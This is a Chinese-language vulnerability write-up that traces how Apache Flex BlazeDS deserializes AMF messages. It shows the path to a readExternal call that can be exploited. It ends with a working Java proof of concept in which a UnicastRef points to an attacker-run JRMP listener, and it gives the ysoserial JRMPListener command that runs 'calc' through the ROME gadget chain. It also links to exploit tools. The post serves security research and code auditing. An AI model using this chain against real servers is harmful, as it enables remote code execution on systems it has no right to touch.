flex反序列化原理及利用链构造

WEB-INF\web.xml

MessageBrokerServlet类处理/messagebroker/*请求

image

MessageBrokerServletservice方法中,先将HttpServletRequest等对象存到FlexContext的变量ThreadLocalObjects

image

随后根据endpointPath去获取对应的endpoint

image

image

web.xml已经指定过配置文件

image

在配置文件中可以看到是由AMFEndpoint来处理/messagebroker/amf这个请求(endpointPath),即endpointPathendpoint就是AMFEndpoint

image

回到MessageBrokerServlet.class

在得到处理请求的类后就使用该类的service方法处理请求

image

在前面的代码中可以看到endpoint的对象类型是Endpoint,而Endpoint是一个接口,所以要找到该接口的实现类

image

所以实际就是BaseHTTPEndpointservice方法来处理/amf请求

service方法中,会交由filterChain.invoke处理上下文内容

image

filterChain

image

createFilterChain是一个抽象方法

image

需要找到实现他的子类,即AMFEndpoint

image

跟进SerializationFilter类查看invoke方法

其会获取输入流封装到deserializer对象

image

具体可以看到getHttpRequest方法返回的内容就是之前存在threadLocalObject里的信息

image

initialize方法:

image

随后进入到readMessage处理上下文内容

image

readMessage方法中,会执行三次readUnsignedShort方法分别获取versionheadersCountbodyCount

漏洞触发主要在bodyCount

image

走到readBody

image

进入到readObject方法

因为之前初始化的时候赋值过,所以这的amfIn就是Amf0Input对象,即这里的readObject其实是Amf0InputreadObject

image

跟进Amf0Input查看readObject方法,该方法会先读取传入的数据字节,然后根据不同的属性进入对应的方法进行处理

image

查看readObjectValue

已知typeamfIn.readUnsignedShort 获取得来,type2字节,这里会首先读取1字节,当读取的值是17时(序列化时写入)就会再初始化一次avmPlusInput,并进入到readObject方法

image

readObject方法中,再读取1字节

image

跟进readObjectValue方法,当读到的值是10时(序列化时写入)就会进入到readScriptObject方法

image

readScriptObject方法中,会根据传入的类名返回一个对象

image

跟进getClassFromClassName查看具体实现

image

createClass方法会返回一个初始化的对象

image

然后会将对象传进getProxyAndRegister方法查找对应的属性代理,用于处理对象的属性读写,如果注册表中存在,则传进createDefaultInstance方法实例化对象

image

然而注册表里只有几个异常和Map对象

具体可以看getRegistry方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
    private static boolean preregistered = false;

...

public static PropertyProxyRegistry getRegistry() {
if (!preregistered) {
preRegister();
preregistered = true;
}

return registry;
}

private static void preRegister() {
ThrowableProxy proxy = new ThrowableProxy();
registry.register(MessageException.class, proxy);
registry.register(LocalizedException.class, proxy);
registry.register(Throwable.class, proxy);
MapProxy mapProxy = new MapProxy();
registry.register(ASObject.class, mapProxy);
registry.register(HashMap.class, mapProxy);
registry.register(AbstractMap.class, mapProxy);
registry.register(Map.class, mapProxy);
}

所以流程会将对象传入createDefaultInstance方法进行实例化

image

查看createDefaultInstance可以看到返回了一个实例化对象

image

在获得一个实例化对象后,会判断该对象是否实现了Externalizable接口,如果实现了则进入readExternalizable方法,在该方法里使用readExternal方法进行反序列化,漏洞在此触发

image

按照流程,想要利用这一步的反序列化,需要找一个实现了Externalizable接口且有公共无参构造函数的利用链,比如sun.rmi.server.UnicastRef

image

image

改一下ysoserialJRMPClient即可得到一个POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import flex.messaging.io.SerializationContext;
import flex.messaging.io.amf.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

/**
* @Author:novy
* @Date:13:44 2022/5/30
* @Version 1.0
**/
public class AMFEXPLoit {
public static void main(String[] args) throws Exception {
Object object = GetObject("192.168.31.169",1234);//JRMP启动地址、端口

// 序列化对象,生成AMF Message对象
byte[] amf = serialize(object);
System.out.println("序列化:" + amf);

// 反序列化对象
ActionMessage actionMessage = deserialize(amf);
System.out.println("反序列化:" + actionMessage);
}
public static Object GetObject(String host,int port) throws Exception {
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
return ref;
}
public static byte[] serialize(Object data) throws IOException {
MessageBody body = new MessageBody();
body.setData(data);
ActionMessage message = new ActionMessage();
message.addBody(body);
ByteArrayOutputStream out = new ByteArrayOutputStream();
AmfMessageSerializer serializer = new AmfMessageSerializer();
serializer.initialize(SerializationContext.getSerializationContext(), out, null);
serializer.writeMessage(message);
return out.toByteArray();
}

public static ActionMessage deserialize(byte[] amf) throws ClassNotFoundException, IOException {
ByteArrayInputStream in = new ByteArrayInputStream(amf);
AmfMessageDeserializer deserializer = new AmfMessageDeserializer();
deserializer.initialize(SerializationContext.getSerializationContext(), in, null);
ActionMessage actionMessage = new ActionMessage();
deserializer.readMessage(actionMessage, new ActionContext());
return actionMessage;
}
}

服务器启动JRMP,运行POC

1
java -cp ysoserial-1.0.jar ysoserial.exploit.JRMPListener 1234 ROME "calc"

image

当然这只是基于实现了Externalizable接口的反序列化利用,在判断即使没有实现Externalizable,流程依旧会往下走其他反序列化逻辑,也就是说,哪怕没有实现Externalizable接口,也可以找实现了Serializable 接口的链来进行利用,当然还是需要有公共无参构造方法

 

最后

写了个利用工具
https://github.com/novysodope/AMF_JRMP

不出网参考
https://github.com/codewhitesec/ColdFusionPwn
ColdFusionPwn直接下载他的发布版本使用会提示找不到主类,建议下载源码用idea运行,参数直接[-s|-e] [payload type] '[command]' [outfile]

 Tips

在往后的审计中,如果看到有引用

1
2
3
4
5
<dependency>
<groupId>org.apache.flex.blazeds</groupId>
<artifactId>flex-messaging-core</artifactId>
<version>4.7.2</version>
</dependency>

或者jar包中用到这种的

image

基本可以确定存在flex相关漏洞


声明:
本文章用于学习交流,严禁用于非法操作,出现后果一切自行承担,阅读此文章表示你已同意本声明。

Disclaimer:
This article is for study and communication. It is strictly forbidden to use it for illegal operations. All consequences shall be borne by yourself. Reading this article means that you have agreed to this statement.